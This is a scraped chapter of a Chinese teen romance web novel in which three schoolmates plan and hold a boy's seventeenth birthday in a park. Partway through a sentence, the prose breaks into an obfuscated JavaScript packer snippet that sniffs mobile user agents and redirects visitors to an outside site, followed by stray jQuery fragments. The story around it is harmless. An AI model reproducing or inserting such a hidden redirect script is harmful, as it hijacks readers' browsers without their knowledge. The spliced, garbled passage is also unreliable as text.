默认冷灰
24号文字
方正启体

11. 图报

作者:乔北南南南本书字数:K更新时间:
    “我……”


    纪书禾吐出个单音后忽然噤声,她恍然意识到没有夏纯的指示,连她都不知道自己会有什么安排。


    最近夏纯很忙,上一通电话还是上个月底,问她期中考试的成绩和排名,说到圣诞前后会出国一趟探望外公外婆。


    再后来没给纪书禾打过电话,她也不敢主动打过去,生怕影响到夏纯的安排。至于她爸…接通电话也不知道说什么,问两句近况就挂了。


    “还有两个月才过年,你这心操得也太早了。”纪书禾正想着如何搪塞纪舒朗时,温少禹忽然懒懒开口:“我下礼拜五过生日,你怎么不想想送我什么?”


    纪舒朗一骨碌坐起来:“你不是从来不过生日的吗?”


    “今年突然想过了,你有意见?”温少禹神色淡淡。


    “那你不早说!就剩下几天,要不是今儿打岔提起,我什岂不是么都不知道,那生日当天你问我要礼物,我不就成了小丑吗!”


    “对,我能记一年,你要真什么都不准备,我肯定会时不时拿出来说说。”温少禹顺着他说。


    “诡计多端的天蝎座!”


    “优柔寡断的天秤座。”


    眼看又要拌嘴,纪舒朗忽然话锋一转,拍起胸口一副哥俩好的模样:“不过时间虽然短,但看在咱们兄弟多年的情分上,我肯定好好给你整个生日趴。班里你想叫谁?上次社团活动还有学妹跟我打听你呢,要不要一起叫上……”


    “不要。我想要的是你的礼物,别给我搞那种。”温少禹拒绝得干脆,视线扫过纪舒朗又落在纪书禾身上一字一顿,“你,我,还有…她。”


    “我们三个人。”他停下,阖眸再睁开缓缓吐出口气,“外加一只狗,随便过过就行了。”


    抱着栗子正在假装木头人的纪书禾瞪大眼睛,很想指指自己,怎么还有她的事?


    “那这生日过得有什么意思?”纪舒朗不理解。


    温少禹冷冷睨了一眼:“我乐意。”


    “咦~你就纯属没事找事,还‘我乐意’呢。”纪舒朗耸耸肩,扭头拉纪书禾下水,“小书,既然这人都这么说了,咱们俩送一份礼好好吃他一顿去。”


    纪书禾抿唇不语,心想其实不用带她的。


    “小书!小朗!下来吃饭啦!”


    纪舒朗还要再说,楼下响起纪成海招呼吃饭的声音。


    “来了!”纪舒朗立马翻身下床扯着嗓子回应楼下,转身叫纪书禾一起,“先下去吃饭,这家伙的事哥会处理,你等着吃大户就行。”


    纪舒朗说完猴子似的窜出去了,纪书禾却笑不出来,默默跟在纪舒朗身后。她抬腿刚要出门,已经起身来到门边的温少禹忽然压低声音开口。


    “帮了你那么多回,你要是听他的空着手来,我就把你的小芽儿给掐了。”


    纪书禾下意识捂住脑袋,捂住了才意识到自己头顶根本不长苗苗,梗着脖子狠狠瞪温少禹:“你这人就知道挟恩图报。”


    温少禹笑:“施恩不就是为了图报,不然图什么?”


    这时楼下又喊:“小书还没下来吗!”


    是纪舒朗的声音。


    “来了来了。”纪书禾匆忙应着,楼梯都走了一半,忽然回头去看还倚着门框站没站相的温少禹,“我记住了,好好等着我报吧你!”


    “行,我等着。”温少禹目送那道背影消失,紧接着楼下碗筷声作响。


    他关门回房,拦住想往外冲的栗子,抱着小狗一起躺上被纪舒朗弄乱的床。臂弯伸展,栗子呼哧呼哧吐着气,温少禹望向头顶刺眼的白炽灯,幻视成黑暗里蜡烛的光,竟久违地对生日有了些期待。


    温少禹是11月21号的生日,天蝎座的尾巴,可纪舒朗却说他是再纯不过的天蝎,嘴毒又记仇,睚眦必报从不吃亏。


    至于纪书禾,夸下海口却琢磨不出能送什么,便决定先把另一件对她而言十分重要的事给做了。


    周一早读前,她主动跟安晴说起失败的“任务”。


    纪书禾还是忐忑,哪怕下定决心,可毕竟是她在乎的朋友,因为在乎更怕失去,自然而然脑补过许多。她或许相信安晴的为人,但和血缘亲情相比,实在没有更胜一筹的自信。


    不过预想的责备和不满并没有出现,安晴也像是松了口气,豁达摆了摆手:“这样最好,我也不想替安瑶跑腿了。她要是真喜欢就自己去找温少禹,把我们夹在中间算什么。”


    她说完搂着纪书禾的胳膊说起周末更新综艺里的笑料,绝口不提安瑶,而那天的大课间姐姐也没有如往日般来找妹妹。


    纪书禾敏感地觉察什么,但绝口不提。


    至于后来安瑶有没有去找过温少禹,纪书禾不得而知,反正少男少女的喜欢来去都很仓促。


    就像安晴所谓的crush一样,今天是哪个演员明星,明天说不定就换成了网红模特,偶尔“猪油蒙了心”看上同校的谁,的的确确是真情实感却也真的短暂。


    纪书禾不关心这个,一周将尽,她比较着急的是该怎么应付温少禹就在眼前的生日。


    她对送礼物的参考无非吃穿住行,吃上温少禹好像不怎么在乎,这落魄少爷穿衣方面也没委屈过自己,住她无能为力,行当然也一样。


    挑不出礼物的纪书禾一个头两个大,又不好找安晴或者她哥出主意,只能求助于购物软件排行榜。


    最后选中的礼物有些华而不实,是个月球形状的小夜灯,打开后柔和的暖色灯光倾泻在阁楼老旧的白墙上,投射出房间里所有物件的影子。


    显然对温少禹用处不大,他看着就是不怕黑的。


    纪书禾纠结到最后直接放弃,反正就是个心意,温少禹爱用不用,只要她还了人情债就行。


    “滴滴滴~”


    夹杂着电流的声音在房间里突兀响起,笔记本电脑右下角的企鹅倏地变成了跳动的头像叫回。


    纪书禾回神,这个时间给她发消息的人很多,比如安晴会来要当天数学作业的答案,或者班级群里正在分享什么动漫八卦。


    可此时闪烁的头像很陌生,是一只猫在水边注视着月亮。


    纪书禾视线转向书桌一角包装好的月球夜灯,片刻后再回到屏幕,鼠标轻移点开了那个坚持不懈跳着的头像。


    〔wen〕:抹茶、水果奶油还是巧克力?


    没头没尾的一句,纪书禾满头雾水,回了个问号过去。


    那边消息立马过来。


    〔wen〕:蛋糕,挑个你喜欢的口味


    纪书禾这才了然。


    〔seedling〕:我没有过敏的食材,都能吃。


    〔温〕:让你挑个喜欢的口味,谁问你过不过敏了。


    那更奇怪了,又不是她生日让她挑什么。


    纪书禾觉得温少禹在给她挖坑,以防有诈,答了句废话回去。


    〔seedling〕:没什么不喜欢的。


    〔wen〕:……


    〔wen〕:听君一席话如听一席话。


    〔wen〕:快点,别想着其他人,选个你喜欢的。人总不能连自己喜欢什么都不知道。


    可说清楚自己更喜欢什么,这对纪书禾而言才困难。


    她的答案不是必须项时,纪书禾一直是别人怎么选都行。


    没什么特别喜欢的,也没什么特别讨厌的。不爱吃的就少吃几口,不喜欢穿的就少穿几次。


    习惯性接受,习惯性说服自己,习惯成了习惯,所以从没觉得这有什么不对。而且她又不是明天的寿星,越俎代庖像什么样子。


    〔seedling〕:你自己怎么不选。


    〔wen〕:不爱吃蛋糕。


    那你过什么生日……


    纪书禾腹诽。


    〔wen〕:你帮我选一个。


    不过既然温少禹说这是帮忙…纪书禾的指尖落在键盘上,笔记本尤其是轻薄本的散热极差,微


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889052|192151||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    微的热从指腹蔓延。


    抹茶怕苦,奶油水果会腻,那就巧克力吧。巧克力味的东西总不会难吃到哪儿去,除了栗子谁都能尝两口。


    〔seedling〕:巧克力吧。


    消息发出去,纪书禾忽然又不确定起来,忙补了句。


    〔seedling〕:你觉得呢?


    此刻楼下。


    温少禹双手支在桌上正举着手机,加绒卫衣的袖口偏大,从手腕向下滑落堆叠在小臂露出极具骨感的手腕。


    他看着纪书禾有两瓣叶子的小草头像,轻哼出声:“让挑个自己喜欢的,就是不听。”


    温少禹还是打了个“好”过去,身体向后靠进椅背,垂眸看向脚边,正趴着啃玩具啃得正欢的栗子。


    他手腕垂下摸了把小狗脑袋,很坏心地吓唬栗子:“她选了巧克力。小狗吃不了巧克力,看来是不想叫上你一起,那你明天留下看家吧。”


    “汪!”栗子听不懂,但能感知到不怀好意的语气,朝温少禹低低吠了声。


    “嘘。”温少禹轻轻捏住小狗的嘴筒子,“阿婆睡得早又觉轻,你要是乱叫影响她休息,我都留不下你。”


    “呜~”栗子愁眉苦脸地趴下,重新抱住他的磨牙小玩具,像是当真在烦恼明天的聚会不带他似的。


    其实根本不算聚会,温少禹觉得这更像嘴馋找借口吃个蛋糕,一个人吃不完整个于是叫上了其他人。


    他也不在乎礼物,就想给纪书禾长长记性。这棵小苗苗养不熟,他不想一个人干怄气。


    他更不在乎生日,因为生日属于两个人他和带他来到这个世上的母亲,而温少禹早在几年前就永远失去了她。


    失去了替他精心挑选的蛋糕,一桌亲自下厨的丰盛菜肴,还有会拥抱祝福他又长一岁的母亲。


    他永远失去了母亲,也有母亲永远失去了女儿。


    所以温少禹住进永安里开始就再没过过生日,如果阿婆没忘会给他煮一碗大排面,他们沉默着吃完,然后不约而同地想起同一个人,然后变得更加沉默。


    所以隔天,当纪书禾捧着蛋糕坐在街心公园的长椅上,万分不解地看他哥拖着温少禹问路边爷叔借打火机点蜡烛。


    真的很想吐槽,过生日为什么不回家,就非得在这儿嘛。可一张嘴吃了一口风,想出口的话最后跟着咽下。


    纪舒朗拉扯着温少禹往回走,两人都是一身藏青色的校服外套,纪书禾也是,不过她怕冷又裹了一条围巾才出的门。


    毕竟是11月底了,新海速冻式降温早有寒冷的前奏。而这会儿天色将暗未暗,西北风呼啦啦吹着,很不给今天的寿星面子。


    借来的彩色塑料打火机质量极差,按下后火苗窜得很高,纪舒朗用不顺手点了两次才把蜡烛点着。


    烛芯摇曳着小小的火光,这是温少禹17岁生日的蜡烛,就一根,还在风里颤颤巍巍。


    “快快快,别被风吹灭了!”纪舒朗嗦着被烫到的大拇指,忙侧身给温少禹让位置,“非得找个露天的风口吃蛋糕,真服了你了。”


    温少禹不语,盯着摇曳的光不知在想什么。


    然后纪舒朗那破锣嗓子唱起支离破碎的生日歌,纪书禾没好意思合,动了动嘴,伸手去护火苗。


    然后温少禹装模作样地许愿,速度很快,纪书禾觉得大概都念不完一个愿望的时长,他便已经睁眼,一口气吹灭了蜡烛。


    微微的焦糊味合着巧克力的甜香在空气中弥漫,纪书禾动了动鼻子,从中嗅出一股沉闷苦涩来。


    再看寿星本人,兴致似乎也不高。


    “温少禹?”纪书禾见他又走神,轻轻唤了声。


    “嗯。”温少禹看向她,“怎么?”


    纪书禾还以为自己看错了,先前笼照温少禹那种诡异的脆弱感瞬间剥离,他漂亮的眼睛注视着她,同往常一样。


    于是她摇摇头:“没什么。”


    “祝你生日快乐。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)